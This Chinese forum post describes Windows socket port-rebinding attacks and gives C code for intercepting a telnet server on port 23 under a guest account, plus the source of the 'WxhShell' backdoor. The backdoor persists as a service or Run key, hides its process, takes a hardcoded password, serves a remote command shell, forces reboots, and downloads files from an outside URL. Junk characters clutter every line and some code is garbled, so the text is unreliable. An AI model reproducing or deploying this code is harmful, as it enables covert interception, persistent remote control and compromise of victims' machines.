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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +2 x|j>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )Q5ja}-{V  
(!:+q$#BK  
  saddr.sin_family = AF_INET; I%'6IpR"d  
h 7  c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .[:2M9Rx  
bKac?y~S_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U6Xi-@XP  
#7BX,jvn>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H+?@LPV*N  
!McRtxq?~  
  这意味着什么?意味着可以进行如下的攻击: `Qxdb1>mjY  
.?dYY;P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vcz?;lg  
0UN65JBuD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %(d0`9  
+et)!2N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f~Ve7   
?3; 0 SAh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u0i;vO)MNt  
w<$0n#5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JL:\\JT.  
,k+F8{Q.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?:c:D5N  
BW5!@D2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1 R,?kUa  
%O02xr=  
  #include 8iXt8XY3  
  #include m5kt O^EU  
  #include GI[XcK^*w  
  #include    6$ x9@x8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5$<Ozkj(  
  int main() g?> V4WF  
  { V:>ZSW4,^  
  WORD wVersionRequested; ?D9>N'yH8  
  DWORD ret; 'E_~>  
  WSADATA wsaData; p)YI8nW  
  BOOL val; .u^4vVz  
  SOCKADDR_IN saddr; DUlvlQW  
  SOCKADDR_IN scaddr; =BVBCh  
  int err; Xb\de_8!  
  SOCKET s; [l:}#5\]4  
  SOCKET sc; n"|1A..^  
  int caddsize; dW} m44X  
  HANDLE mt; tJ9-8ZT*  
  DWORD tid;   x>eV$UJ  
  wVersionRequested = MAKEWORD( 2, 2 ); bTJ l  
  err = WSAStartup( wVersionRequested, &wsaData ); ^M7pCetjdW  
  if ( err != 0 ) { AB[#  
  printf("error!WSAStartup failed!\n"); ^7-l<R[T  
  return -1; bP HtP\)  
  } ~F^7L5d}C  
  saddr.sin_family = AF_INET; BaXf=RsZ  
   k^ e;V`(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lL6W:Fq@(  
Rw]lW;EN<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :7DXLI|L#?  
  saddr.sin_port = htons(23); W*.6'u)9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G Q])y  
  {  ;)ji3M  
  printf("error!socket failed!\n"); ?A2jj`N1x  
  return -1; [z> Ya-uz7  
  } a~Nh6 x  
  val = TRUE; YAJr@v+Ls  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D !5 {CQl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T.GB *  
  { R~!md  
  printf("error!setsockopt failed!\n"); vq-# %o  
  return -1; D'Y=}I)8Dn  
  } 5rUDRFO6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 29kR7[k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0.lOSAq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TM<;Nj[*n  
.u\xA7X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Gf\u%S!%  
  { XI7:y4M  
  ret=GetLastError(); 5rlZ'>I.  
  printf("error!bind failed!\n"); Fa-F`U@h(m  
  return -1; -I*NS6  
  } ]JvZ{fA%*  
  listen(s,2); Vk?US&1q}  
  while(1) W'}^m*F  
  { *wu|(t_ A  
  caddsize = sizeof(scaddr); WeE1 \  
  //接受连接请求  LAO2Py#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X].Igb)2  
  if(sc!=INVALID_SOCKET) bC0DzBnM;  
  { :!<U"AC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZDTp/5=?K/  
  if(mt==NULL) Dx>~^ ^<  
  { f3"sKL4|  
  printf("Thread Creat Failed!\n"); ? H7?>ZE  
  break; WNWtQ2]  
  } n2;Vrs,<1&  
  } dA=T+u  
  CloseHandle(mt); H#FH '@J  
  } Zg/ ],/`  
  closesocket(s); YJMaIFt  
  WSACleanup(); 3&"+)*/ m  
  return 0; |7@@~|A  
  }   @@} ]qT*  
  DWORD WINAPI ClientThread(LPVOID lpParam) zIy&gOX  
  { :<i<\TH'  
  SOCKET ss = (SOCKET)lpParam; -PLh|  
  SOCKET sc; zsmlXyP'e!  
  unsigned char buf[4096]; EJaGz\\  
  SOCKADDR_IN saddr; KAR **Mp+  
  long num; }x(Ewr  
  DWORD val; Be~In~~  
  DWORD ret; I|R;)[;X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^Q5advxuq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7 jiy9 [  
  saddr.sin_family = AF_INET; ,B,:$G<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CjZIBMGc  
  saddr.sin_port = htons(23); -Gd@baV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j+NsNIJq  
  { + 3c (CTz  
  printf("error!socket failed!\n"); &"mWi-Mpl  
  return -1; )UN_,'H/V  
  } !A'3Mw\Nm  
  val = 100; GyLp&aa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wz)@k2  
  { \<Di |X1  
  ret = GetLastError(); !(#d 7R  
  return -1; |ohCA&k%;  
  } , ^@z;xF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KU 98"b5  
  { $_Q]3"U  
  ret = GetLastError(); Y20T$5{#  
  return -1; ^C70b)68  
  } 8<PQ31  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UKzXz0  
  { iPdR;O'  
  printf("error!socket connect failed!\n"); ]oizBa@?G  
  closesocket(sc); p"d_+  
  closesocket(ss); (Ky$(Ubb#6  
  return -1; ^\7GFpc  
  } QR {>]I  
  while(1) !<= ^&\A  
  { cg_j.=M-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !;E{D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yk=2ld;;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @f`s%o  
  num = recv(ss,buf,4096,0); WuMr";2*E  
  if(num>0) O ~D]C  
  send(sc,buf,num,0); *s$:"g-  
  else if(num==0) 1!&m1  
  break; gIY]hC.  
  num = recv(sc,buf,4096,0); }$@E pM  
  if(num>0) U)C>^ !Us  
  send(ss,buf,num,0); Uu~~-5  
  else if(num==0) *nlDN4Y[  
  break; yt#~n _  
  } -~ H?R  
  closesocket(ss); 'pC51}[A{^  
  closesocket(sc); CSlPrx2\  
  return 0 ; ,d7o/8u  
  } /dwj:g0y  
k FCdGl  
];*? `}#  
========================================================== Y3bZ&G)  
U?A3>  
下边附上一个代码,,WXhSHELL :&BE-f  
%:yVjb,Yf  
========================================================== ]:.9:RmEV  
csj 4?]gI  
#include "stdafx.h" :|\)=4  
?6//'bO:%  
#include <stdio.h> RSBk^  
#include <string.h> t(Gg 1  
#include <windows.h> =O>E>Q  
#include <winsock2.h> 3Uy(d,N  
#include <winsvc.h> ~'0W(~Q8  
#include <urlmon.h> FQM9>l@6)>  
#]z_pp:  
#pragma comment (lib, "Ws2_32.lib") zXML<?w  
#pragma comment (lib, "urlmon.lib") EM!9_8 f  
`u$lSGl  
#define MAX_USER   100 // 最大客户端连接数 K(rWM>Jv  
#define BUF_SOCK   200 // sock buffer 3 uJ?;  
#define KEY_BUFF   255 // 输入 buffer q z8Jvgu?  
o "1X8v  
#define REBOOT     0   // 重启 y=LN| vkQ  
#define SHUTDOWN   1   // 关机 g)nT]+&  
s^HI%mdf  
#define DEF_PORT   5000 // 监听端口 +lZvj=gW  
DhN<e7c`  
#define REG_LEN     16   // 注册表键长度 9{8xMM-  
#define SVC_LEN     80   // NT服务名长度 e#(X++G  
V z-]H]MW,  
// 从dll定义API R})b%y`]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >\[|c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v0KJKrliGO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bVOJp% *s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 23/;W|   
Zu|qN*N4  
// wxhshell配置信息 Kon|TeC>d  
struct WSCFG {  }A&I@2d  
  int ws_port;         // 监听端口 \ {;3'<  
  char ws_passstr[REG_LEN]; // 口令 G{gc]7\=Cd  
  int ws_autoins;       // 安装标记, 1=yes 0=no C sCH :>  
  char ws_regname[REG_LEN]; // 注册表键名 (: @7IWZf@  
  char ws_svcname[REG_LEN]; // 服务名 7' Gk ip  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w#{S=^`}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U&0 RQ:B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G rI<w.9X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;lf$)3%[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :ka^ ztXG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 75;g|+  
^/~C\ (  
}; GQDW}b8  
vr } -u  
// default Wxhshell configuration +P<#6<gR  
struct WSCFG wscfg={DEF_PORT, j7~Rw"(XQc  
    "xuhuanlingzhe", BH0s ` K"  
    1, Y6m:d&p=}  
    "Wxhshell", @.L/HXu-P  
    "Wxhshell", mI5!rrRD|  
            "WxhShell Service", \k5 sdHmI[  
    "Wrsky Windows CmdShell Service", <[?ZpG  
    "Please Input Your Password: ", 'oF XNO  
  1, [F 24xC+  
  "http://www.wrsky.com/wxhshell.exe", r9n:[A&HE  
  "Wxhshell.exe" c^stfFE&  
    }; d&naJ)IoF)  
!,R=6b$E5  
// 消息定义模块 yw >Frb5p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m]Mm (7v(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LIn2&r:U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d ;i@9+  
char *msg_ws_ext="\n\rExit."; U#|6n ,  
char *msg_ws_end="\n\rQuit."; O]KQ]zN  
char *msg_ws_boot="\n\rReboot..."; Fz' s\  
char *msg_ws_poff="\n\rShutdown..."; a3L-q>h  
char *msg_ws_down="\n\rSave to "; WZ=$c]gG  
sfk;c#K  
char *msg_ws_err="\n\rErr!"; *t_Q5&3L+U  
char *msg_ws_ok="\n\rOK!"; yB|1?L#  
49YN@ PXC  
char ExeFile[MAX_PATH]; =yWdtBng  
int nUser = 0; KbMan~Pb6  
HANDLE handles[MAX_USER]; /7x1Z*Hg  
int OsIsNt; nPk&/H%5hn  
y-{?0mLq  
SERVICE_STATUS       serviceStatus; &0]5zQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJ\k|  
~_ u3_d.  
// 函数声明 WEtPIHruyt  
int Install(void); i&{%} ==7  
int Uninstall(void); #7@p  
int DownloadFile(char *sURL, SOCKET wsh); z0Z1J8Qq6.  
int Boot(int flag); L3A2A  
void HideProc(void); N_/+B]r }T  
int GetOsVer(void); J$lfI^^  
int Wxhshell(SOCKET wsl); 45&Rl,2  
void TalkWithClient(void *cs); sG\K$GP!  
int CmdShell(SOCKET sock); UG[r /w5(F  
int StartFromService(void); 1iqgVby  
int StartWxhshell(LPSTR lpCmdLine); RFX{]bQp9  
(T%Ue2zlY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e^;%w#tEqI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /f drf  
@8$z2  
// 数据结构和表定义 3R-5&!i  
SERVICE_TABLE_ENTRY DispatchTable[] = iB`EJftI!  
{ ).AMfBQ=;  
{wscfg.ws_svcname, NTServiceMain},  tq?a3  
{NULL, NULL} RC?vU  
}; `jVRabZ0  
6b9J3~d\E  
// 自我安装 )sNPWn8<Uy  
int Install(void) * eX/Z Cn  
{ |(AFU3 ~  
  char svExeFile[MAX_PATH]; 3_`)QYU'  
  HKEY key; @C^wV  
  strcpy(svExeFile,ExeFile); hRMya#%-  
mxpj<^n}  
// 如果是win9x系统,修改注册表设为自启动 "YW Z&_n**  
if(!OsIsNt) { g> ~+M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :wG )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0a bQY  
  RegCloseKey(key); i,S1|R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { crN*eFeW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -m@PqJF^  
  RegCloseKey(key); lQBE q"7$  
  return 0; ]^T-X/v9  
    } v1Q 78P  
  } lRNm &3:-  
} E AZX  
else {  !Q*w]  
DR,7rT{$  
// 如果是NT以上系统,安装为系统服务 Cs y,3XG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /'5d0' ,M  
if (schSCManager!=0) >^GV #z  
{ U|VL+9#hd  
  SC_HANDLE schService = CreateService L`X5\D'X  
  ( 'nBP%  
  schSCManager, XH@(V4J(.  
  wscfg.ws_svcname, ([}08OW@  
  wscfg.ws_svcdisp, '&dT   
  SERVICE_ALL_ACCESS, ^i_+ugJX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RRV%g!  
  SERVICE_AUTO_START, J7^ UQ  
  SERVICE_ERROR_NORMAL, 8>Cf}TvErx  
  svExeFile, 5bAdF'~  
  NULL, 6>oc,=MV/  
  NULL, U$~6V%e  
  NULL, m#Z&05^  
  NULL, I:G8B5{J  
  NULL lWtfcU?S[  
  ); {\CWoFht>  
  if (schService!=0) K@{0]6  
  { n6+h;+8;]  
  CloseServiceHandle(schService); I`H&b& .`  
  CloseServiceHandle(schSCManager); 0<a|=kZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _#NibW  
  strcat(svExeFile,wscfg.ws_svcname); jC4>%!{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {sGEopd8]q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); At?|[%< `  
  RegCloseKey(key); K) fKL   
  return 0; <kPNe>-f  
    }  1n +Uv*  
  } GWWg3z.o"W  
  CloseServiceHandle(schSCManager); Wc2&3p9 c  
} z!O;s ep?/  
} 6?~9{0  
wjwCs`  
return 1; lZL+j6Q  
} 't&1y6Uu  
'z AvQm  
// 自我卸载 |1(x2x%}D^  
int Uninstall(void) kSzap+nB?  
{ xc 1d[dCdp  
  HKEY key; N%}J:w  
gac31,gH  
if(!OsIsNt) { O- QT+]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -d A9x~o  
  RegDeleteValue(key,wscfg.ws_regname); D]fuX|f~ul  
  RegCloseKey(key); KR?aL:RYb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F:T(-,  
  RegDeleteValue(key,wscfg.ws_regname); =VzJ>!0  
  RegCloseKey(key); bE.<vF&  
  return 0; Ig}hap]G  
  } L%/>Le}VX  
} ?D _4KFr  
} x\8g ICf  
else { 9 d a=q  
hS8M|_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SoM,o]s#y  
if (schSCManager!=0) <q!HY~"V  
{ 4 H0rS'5d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2|lR@L sr  
  if (schService!=0) UX63BA  
  { mc%. 8i  
  if(DeleteService(schService)!=0) { Z9$pY=8^?  
  CloseServiceHandle(schService); `WOoC   
  CloseServiceHandle(schSCManager); f}(4v1 T  
  return 0; nMzt_IlI  
  } 3WF]%P%  
  CloseServiceHandle(schService); S1Y,5,}  
  } DZ2gnRg  
  CloseServiceHandle(schSCManager); Nuot[1kS  
} yZ,pH1  
} !9PAfi?  
kE'p=dXx  
return 1; xjbI1qCfe  
} 1a(\F 7  
a5/, O4Q  
// 从指定url下载文件 wi7Br&bGi  
int DownloadFile(char *sURL, SOCKET wsh) w/o^OjwQ  
{ DCiU?u~  
  HRESULT hr; b'+Wf#.]f0  
char seps[]= "/"; }|| p#R@?  
char *token; #BP0MY&  
char *file; C;HEv q7  
char myURL[MAX_PATH]; ,= ApnNUgX  
char myFILE[MAX_PATH]; GBb8 }lx  
KyX2CfW}t  
strcpy(myURL,sURL); 9ns( F:  
  token=strtok(myURL,seps); A+M4=  
  while(token!=NULL) oCOv 6(  
  { elGBX h  
    file=token; 1$E[`` n  
  token=strtok(NULL,seps); 98R/ ^\  
  } jc_k\  
seK;TQ3/7  
GetCurrentDirectory(MAX_PATH,myFILE); \Qah*1  
strcat(myFILE, "\\"); H if| z[0$  
strcat(myFILE, file); ==?wG!v2h  
  send(wsh,myFILE,strlen(myFILE),0); ? 3fnt"  
send(wsh,"...",3,0); v1yB   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }GURq#  
  if(hr==S_OK) 3Y)z{o>P  
return 0; 6/wC StZ  
else #@BhGB`9Qt  
return 1; t'$_3ml  
}|Q\@3&  
} XkqsL0\  
SHPDbBS  
// 系统电源模块 K{I"2c  
int Boot(int flag) j7g>r/1eE  
{ $> QJ%v9+  
  HANDLE hToken; ?H_@/?  
  TOKEN_PRIVILEGES tkp; dRzeHuF92  
j07A>G-=  
  if(OsIsNt) { ckFPx l.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k}g4?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B=W#eu <1  
    tkp.PrivilegeCount = 1; <e 9d5-2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uYlyU~M:D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z"Lr5'}  
if(flag==REBOOT) { jt6_1^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3%9XJ]Qao  
  return 0; = =pQ V[  
} e`LvHU_0  
else { Q$p3cepsK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oc-&}R4=  
  return 0; voRb>xF  
} `j'1V1  
  } 9Ut eD@*  
  else { Xajt][  
if(flag==REBOOT) { R>Ox(MG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,\+N}F^  
  return 0; XkUwO ]  
} L"1AC&~ u  
else { X<Xiva85  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $rQ7"w J  
  return 0; H0B=X l[  
} p {. 6  
} 4!ZT_q  
=s.0 f:(  
return 1; mIrN~)C4\  
} +:aNgO#e8  
ryz NM3  
// win9x进程隐藏模块 Ht}?=ZzW  
void HideProc(void) 2Gj)fMK38  
{ $mAyM+ ph[  
yfqe6-8U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^XYK }J  
  if ( hKernel != NULL ) VL"Cxs  
  { b$ 8R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )iC@n8f7o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `l70i2xcj  
    FreeLibrary(hKernel); !YO'u'4<aK  
  } x<w-j[{k_K  
u^'X>n)oL#  
return; rN.8-  
} Wzff p}V  
3,hu3"@k  
// 获取操作系统版本 &Vpr[S@:{  
int GetOsVer(void) P%R9\iajH  
{ fV6ddh  
  OSVERSIONINFO winfo; g%ys|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eMn'z]M&]  
  GetVersionEx(&winfo); ]i1OssV~>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5L7 nEia'  
  return 1; XXwo(trs~=  
  else `|92!Ej  
  return 0; 5D7k[+6  
} |{,c2 Ck:N  
|RXXj[z  
// 客户端句柄模块 9`H4"H>yG  
int Wxhshell(SOCKET wsl) 8090+ ( U  
{ aehB,l0  
  SOCKET wsh; K2v[_a~@  
  struct sockaddr_in client; Ui1s ]R  
  DWORD myID; i>-#QKqJ  
x.Ny@l%]  
  while(nUser<MAX_USER) {od@S l  
{ >-3>Rjo>  
  int nSize=sizeof(client); fceO|mSz_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pv)^L  
  if(wsh==INVALID_SOCKET) return 1; k`z]l;:  
)3 f\H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nHZhP4W  
if(handles[nUser]==0) X -=M>H^  
  closesocket(wsh); A |U0e`Iw  
else LU@1Gol  
  nUser++; `]l|YQz\  
  } B o%Sl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X(#8EY}X  
MIiBNNURX  
  return 0; 3'0Jn6(  
} 79o=HiOF99  
;v.J D7  
// 关闭 socket wQ9@ l  
void CloseIt(SOCKET wsh) P{J9#.Zq&s  
{ )7#3n(_np  
closesocket(wsh); qM2m!  
nUser--; c&h8Qk3  
ExitThread(0); 0;OZ|;Z  
} >@-. rkd(  
0pH$Mk Q  
// 客户端请求句柄 uc]5p(9Hb  
void TalkWithClient(void *cs) ^Q+z^zlC  
{ q['3M<q  
;K4uu<e \  
  SOCKET wsh=(SOCKET)cs; nYvkeT  
  char pwd[SVC_LEN]; &5B/>ag1!  
  char cmd[KEY_BUFF]; ,[dvs&-*  
char chr[1]; j+gh*\:q  
int i,j; 7xWJw  
?=-/5A4K  
  while (nUser < MAX_USER) { ![]6| G&  
C}L2'l,  
if(wscfg.ws_passstr) { OCCC' k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (hKjr1s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y9st3  
  //ZeroMemory(pwd,KEY_BUFF); 'L{pS-+6  
      i=0; fgF@ x  
  while(i<SVC_LEN) { )U]q{0`  
8A-*MU`+  
  // 设置超时 TXs&*\  
  fd_set FdRead; *;F<Q!i&v  
  struct timeval TimeOut; g1l:k1\Ht  
  FD_ZERO(&FdRead); ~u[1Vz4#3  
  FD_SET(wsh,&FdRead); ?hURNlR_Q  
  TimeOut.tv_sec=8; i2[8^o`_  
  TimeOut.tv_usec=0; ]xJ. OUJy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Of9 gS-m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4((p?jb C  
(b"q(:5oX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z;0<k;#T(p  
  pwd=chr[0]; )g]A 'A=  
  if(chr[0]==0xd || chr[0]==0xa) { |;p.!FO  
  pwd=0; |}X[Yg=FG  
  break; yKm6 8n^  
  } cqm:[0Xf5>  
  i++; I@#IXH?6  
    } y T&#k1  
45jImCm  
  // 如果是非法用户,关闭 socket ]Qp-$)N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `v2Xp3o4f  
} Bc b '4*:  
2l:cP2fa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3+iryW(\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %):pfM;b  
)%8st'  
while(1) { ]-;JHB5A_:  
>S{8sN  
  ZeroMemory(cmd,KEY_BUFF); WWOjck #  
Ufor>  
      // 自动支持客户端 telnet标准   lWP]}Uy=5~  
  j=0; (rBYE[@,  
  while(j<KEY_BUFF) { ~HKzqGQy >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # |OA>[  
  cmd[j]=chr[0]; 6C ?,V3Z  
  if(chr[0]==0xa || chr[0]==0xd) { l2Rnyb<;;  
  cmd[j]=0; T;S6<J  
  break; ~K(mt0T )  
  } TWfk r  
  j++; `9\^.g)  
    } 4 DV,f2:R4  
/`y^z"!  
  // 下载文件 Gj[5e w?@  
  if(strstr(cmd,"http://")) { f*p=j(sF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vM:c70=  
  if(DownloadFile(cmd,wsh))  um2}XI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ip *8R]W  
  else 3l$D%y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4jjo%N  
  } Ies` !W^  
  else { DH4IF i>  
"QBl "<<s  
    switch(cmd[0]) { s E;2;2u"  
  5Ux=5a  
  // 帮助 GBT219Z@8  
  case '?': { = U[$i"+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O&VA79\UO  
    break; N-45LS@  
  } OgHqF,0MN  
  // 安装 7)FYAk$@  
  case 'i': { ]x%sX|Rj  
    if(Install()) )XoMOz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <KE%|6oER  
    else z>'vS+axV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Qf\DTM&  
    break; 8~BLTZ  
    } } na@gn  
  // 卸载 Xxj<Ai 2  
  case 'r': { o5m] Gqa  
    if(Uninstall()) TFz k5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f6PYB&<1  
    else Rv.IHSQUo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*d+WZm8-g  
    break; NH*"AE;  
    } u 7 <VD  
  // 显示 wxhshell 所在路径 D'^UZZlI^I  
  case 'p': { BQs\!~Ux2  
    char svExeFile[MAX_PATH]; /fU -0a8  
    strcpy(svExeFile,"\n\r"); RS@G.|  
      strcat(svExeFile,ExeFile); {xICR ~,*  
        send(wsh,svExeFile,strlen(svExeFile),0); C]h_co2eI  
    break; @CoUFdbz  
    } ~~Rq$'q}  
  // 重启 j8^zE,Z  
  case 'b': { BH}M]<5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ['3E'q,4&  
    if(Boot(REBOOT)) ][XCpJ)8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . +,{|){c  
    else { ?D(aky#cyc  
    closesocket(wsh); 6 B7 F  
    ExitThread(0); >\3N#S"PF  
    } 6uX,J(V,  
    break; AOz~@i^  
    } V6kDyl(  
